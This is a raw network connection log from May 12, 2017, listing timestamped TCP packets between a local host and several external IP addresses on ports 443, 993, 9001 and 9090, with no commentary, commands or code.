May 12, 2017 18:54:28.388513088 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.388533115 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.388547897 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.388618946 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.389483929 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.389507055 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.389522076 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.389606953 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.390212059 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.397116899 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.397154093 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.397177935 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.397269011 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.398653984 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.398680925 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.398696899 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.398768902 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.399616003 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.399640083 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.399652958 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.399799109 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.407882929 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.407911062 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.407936096 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.408019066 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.408998966 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.409023046 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.409039974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.409110069 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.413985968 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.414017916 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.414031982 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.414177895 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.417877913 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.417898893 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.417915106 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.418039083 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.418437958 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.418591976 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.418612957 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.418625116 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.418706894 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.426814079 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.426842928 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.426860094 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.427037954 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.428188086 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.428203106 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.428210020 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.428288937 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.435100079 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.435122967 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.435138941 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.435204029 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.437499046 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.437515020 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.437524080 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.437618971 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.439769983 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.439786911 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.439796925 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.439891100 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.440743923 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.446753979 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.446784973 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.446801901 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.446901083 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.450074911 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.450098991 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.450110912 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.450196028 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.451677084 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.451697111 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.451710939 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.451786995 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.456357002 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.456378937 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.456389904 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.456521034 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.461031914 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.461055040 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.461067915 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.461157084 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.461165905 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.461188078 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.461205959 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.461283922 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.461293936 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.461308956 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.461388111 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.462997913 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.465523005 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.471946955 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.471967936 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.472115040 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.472147942 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.476092100 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.476114988 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.476238012 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.476273060 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.479476929 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.479491949 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.479574919 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.479604006 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.484668970 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.484694958 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.484793901 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.484798908 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.484808922 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.484822989 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.484841108 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.484941959 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.488789082 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.488815069 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.488835096 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.488941908 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.503079891 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.503119946 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.503154039 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.503278971 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.503823996 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.503876925 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.540452957 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.559111118 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.559133053 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.559199095 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.559216022 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.582871914 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.582972050 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.582992077 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.593415022 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.593442917 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.593512058 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.593533993 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.602926016 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.602956057 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.603048086 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.603070021 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.812474966 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.812650919 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:36.766637087 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:36.766689062 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:36.766911983 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:36.766935110 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.767024040 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:36.767398119 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:36.767416000 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:36.933973074 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.933999062 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.934073925 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:36.943279028 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.943296909 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.943309069 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.943366051 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:36.976470947 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.976519108 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.976541996 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.976604939 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:36.976674080 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.976696968 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.976711988 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:36.976732969 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:37.003786087 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.003801107 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.003830910 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:37.003880024 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:37.003896952 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.008485079 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:37.008738995 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.008754015 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.008764029 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.008843899 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:37.011817932 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.204504013 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:37.204615116 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:37.236485958 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.236579895 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:37.338212013 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:37.338238001 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:37.339576006 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:37.340181112 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:37.340198040 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:37.394237041 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:37.665110111 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:48.826771975 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:48.826826096 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:48.826921940 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:48.827579975 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:48.827609062 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:48.827668905 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:48.828286886 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:48.828313112 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:48.828371048 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:48.829576969 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:48.829598904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:48.829900980 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:48.829922915 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:48.830231905 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:48.830252886 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:48.848814964 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:48.848848104 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:48.969841003 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:48.972634077 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:48.972661018 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:48.979178905 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:48.979202032 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:48.979347944 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:48.980006933 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:48.980027914 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.041563988 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.076248884 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.076273918 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.092175007 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.134407997 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:49.134442091 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.158750057 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.158776999 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.158885956 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.159773111 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.159797907 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.239756107 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.239799976 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.239831924 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.240518093 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:49.249057055 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.249083042 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.249104023 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.249619007 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:49.269402027 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.269429922 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.269439936 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.269536018 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:49.297836065 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.297980070 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.297995090 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.298559904 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:49.300739050 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.300764084 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.301175117 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.301270962 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.301275969 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.301345110 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.301883936 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.301901102 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.301985025 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.301999092 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.302419901 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.302438021 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.302491903 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.302504063 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.302809954 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.302824020 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.302898884 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.302908897 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.303211927 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.303227901 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.303289890 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.303301096 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.303663015 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.303675890 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.303740025 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.303750038 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.304070950 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.304085016 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.304214001 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.304227114 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.304522038 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.304536104 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.304600000 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.304610014 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.305855036 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.305872917 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.306011915 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.306024075 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.306083918 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.306096077 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.306569099 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.306582928 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.306647062 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.306657076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.307514906 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.307529926 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.307596922 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.307607889 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.307842016 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.307853937 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.307991982 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.308002949 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.308124065 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.308135033 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.308202982 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.308213949 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.308626890 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.308645010 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.308713913 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.308726072 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.308784008 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.308793068 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.308948994 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.308964014 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.309020996 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.309031963 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.309326887 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.309343100 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.309405088 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.309417009 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.309474945 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.309485912 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.309612036 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.309624910 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.471899033 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.507204056 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.507236958 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.507252932 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.507335901 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:49.516706944 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.516726017 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.516742945 CEST	443	49197	85.235.250.88	192.168.1.16
May 12, 2017 18:54:49.516860962 CEST	49197	443	192.168.1.16	85.235.250.88
May 12, 2017 18:54:49.585984945 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:49.591164112 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:49.591198921 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:49.672487020 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.672585011 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.674907923 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.674938917 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.674948931 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.674959898 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.675019979 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.675065041 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.675088882 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.675642967 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.708914042 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.708942890 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.708976984 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.709204912 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.710120916 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.710642099 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.710670948 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.710748911 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.710768938 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.732767105 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.732789040 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.733236074 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.733253956 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.734841108 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.734854937 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.734949112 CEST	49199	993	192.168.1.16	195.154.107.23
